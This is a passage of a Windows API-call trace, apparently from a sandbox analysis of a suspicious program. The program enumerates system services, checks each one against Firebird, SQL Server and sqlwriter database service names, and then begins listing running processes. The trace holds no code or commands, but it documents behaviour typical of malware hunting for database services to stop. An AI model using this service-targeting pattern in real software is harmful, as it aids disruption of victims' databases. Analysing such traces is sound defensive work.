	[0185.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0185.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0185.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0185.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0185.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0185.188] lstrlenW (lpString="AppXSvc") returned 7
	[0185.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0185.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0185.189] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0185.189] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0185.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0185.189] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0185.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0185.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0185.189] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0185.189] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0185.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0185.189] lstrlenW (lpString="Audiosrv") returned 8
	[0185.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0185.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0185.189] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0185.189] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0185.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0185.189] lstrlenW (lpString="BFE") returned 3
	[0185.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0185.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0185.189] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0185.189] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0185.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0185.189] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0185.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0185.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0185.189] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0185.189] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0185.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0185.189] lstrlenW (lpString="CDPSvc") returned 6
	[0185.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0185.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0185.190] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0185.190] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0185.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0185.190] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0185.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0185.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0185.190] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0185.190] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0185.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0185.190] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0185.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0185.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0185.190] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0185.190] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0185.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0185.190] lstrlenW (lpString="CryptSvc") returned 8
	[0185.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0185.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0185.190] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0185.190] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0185.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0185.190] lstrlenW (lpString="DcomLaunch") returned 10
	[0185.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0185.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0185.190] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0185.190] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0185.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0185.191] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0185.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0185.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0185.191] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0185.191] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0185.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0185.191] lstrlenW (lpString="Dhcp") returned 4
	[0185.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0185.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0185.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0185.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0185.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0185.191] lstrlenW (lpString="Dnscache") returned 8
	[0185.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0185.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0185.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0185.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0185.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0185.191] lstrlenW (lpString="DPS") returned 3
	[0185.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0185.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0185.191] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0185.191] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0185.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0185.191] lstrlenW (lpString="DusmSvc") returned 7
	[0185.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0185.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0185.192] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0185.192] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0185.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0185.192] lstrlenW (lpString="EventLog") returned 8
	[0185.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0185.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0185.192] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0185.192] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0185.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0185.192] lstrlenW (lpString="EventSystem") returned 11
	[0185.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0185.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0185.192] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0185.192] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0185.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0185.192] lstrlenW (lpString="FontCache") returned 9
	[0185.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0185.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0185.192] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0185.192] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0185.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0185.192] lstrlenW (lpString="gpsvc") returned 5
	[0185.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0185.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0185.192] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0185.192] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0185.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0185.193] lstrlenW (lpString="iphlpsvc") returned 8
	[0185.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0185.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0185.193] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0185.193] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0185.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0185.193] lstrlenW (lpString="KeyIso") returned 6
	[0185.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0185.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0185.193] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0185.193] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0185.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0185.193] lstrlenW (lpString="LanmanServer") returned 12
	[0185.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0185.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0185.193] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0185.193] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0185.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0185.193] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0185.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0185.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0185.193] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0185.193] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0185.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0185.193] lstrlenW (lpString="lfsvc") returned 5
	[0185.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0185.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0185.193] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0185.194] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0185.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0185.194] lstrlenW (lpString="lmhosts") returned 7
	[0185.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0185.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0185.194] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0185.194] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0185.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0185.194] lstrlenW (lpString="LSM") returned 3
	[0185.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0185.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0185.194] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0185.194] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0185.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0185.194] lstrlenW (lpString="MpsSvc") returned 6
	[0185.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0185.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0185.194] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0185.194] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0185.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0185.194] lstrlenW (lpString="NcbService") returned 10
	[0185.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0185.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0185.194] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0185.194] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0185.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0185.194] lstrlenW (lpString="netprofm") returned 8
	[0185.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0185.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0185.195] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0185.195] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0185.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0185.195] lstrlenW (lpString="NgcSvc") returned 6
	[0185.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0185.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0185.195] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0185.195] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0185.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0185.195] lstrlenW (lpString="NlaSvc") returned 6
	[0185.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0185.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0185.195] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0185.195] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0185.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0185.195] lstrlenW (lpString="nsi") returned 3
	[0185.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0185.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0185.195] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0185.195] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0185.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0185.195] lstrlenW (lpString="PcaSvc") returned 6
	[0185.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0185.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0185.195] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0185.195] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0185.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0185.195] lstrlenW (lpString="PlugPlay") returned 8
	[0185.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0185.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0185.196] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0185.196] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0185.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0185.196] lstrlenW (lpString="Power") returned 5
	[0185.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0185.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0185.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0185.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0185.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0185.196] lstrlenW (lpString="ProfSvc") returned 7
	[0185.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0185.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0185.196] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0185.196] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0185.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0185.196] lstrlenW (lpString="RpcEptMapper") returned 12
	[0185.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0185.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0185.196] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0185.196] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0185.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0185.196] lstrlenW (lpString="RpcSs") returned 5
	[0185.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0185.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0185.196] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0185.197] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0185.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0185.197] lstrlenW (lpString="SamSs") returned 5
	[0185.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0185.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0185.197] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0185.197] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0185.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0185.197] lstrlenW (lpString="Schedule") returned 8
	[0185.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0185.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0185.197] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0185.197] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0185.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0185.197] lstrlenW (lpString="SecurityHealthService") returned 21
	[0185.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0185.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0185.197] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0185.197] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0185.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0185.197] lstrlenW (lpString="SENS") returned 4
	[0185.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0185.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0185.197] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0185.197] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0185.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0185.197] lstrlenW (lpString="ShellHWDetection") returned 16
	[0185.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0185.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0185.198] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0185.198] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0185.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0185.198] lstrlenW (lpString="Spooler") returned 7
	[0185.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0185.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0185.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0185.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0185.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0185.198] lstrlenW (lpString="StateRepository") returned 15
	[0185.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0185.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0185.198] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0185.198] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0185.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0185.198] lstrlenW (lpString="SysMain") returned 7
	[0185.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0185.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0185.198] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0185.198] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0185.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0185.198] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0185.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0185.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0185.198] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0185.198] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0185.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0185.198] lstrlenW (lpString="Themes") returned 6
	[0185.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0185.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0185.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0185.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0185.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0185.199] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0185.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0185.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0185.199] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0185.199] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0185.199] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f42078 | out: hHeap=0x710000) returned 1
	[0185.199] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x548
	[0185.204] Process32FirstW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0185.205] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0185.205] lstrlenW (lpString="System") returned 6
	[0185.206] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0185.206] lstrlenW (lpString="smss.exe") returned 8
	[0185.206] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0185.366] lstrlenW (lpString="csrss.exe") returned 9
	[0185.366] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0185.366] lstrlenW (lpString="wininit.exe") returned 11
	[0185.367] Process32NextW (in: hSnapshot=0x548, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0185.367] lstrlenW (lpString="csrss.exe") returned 9
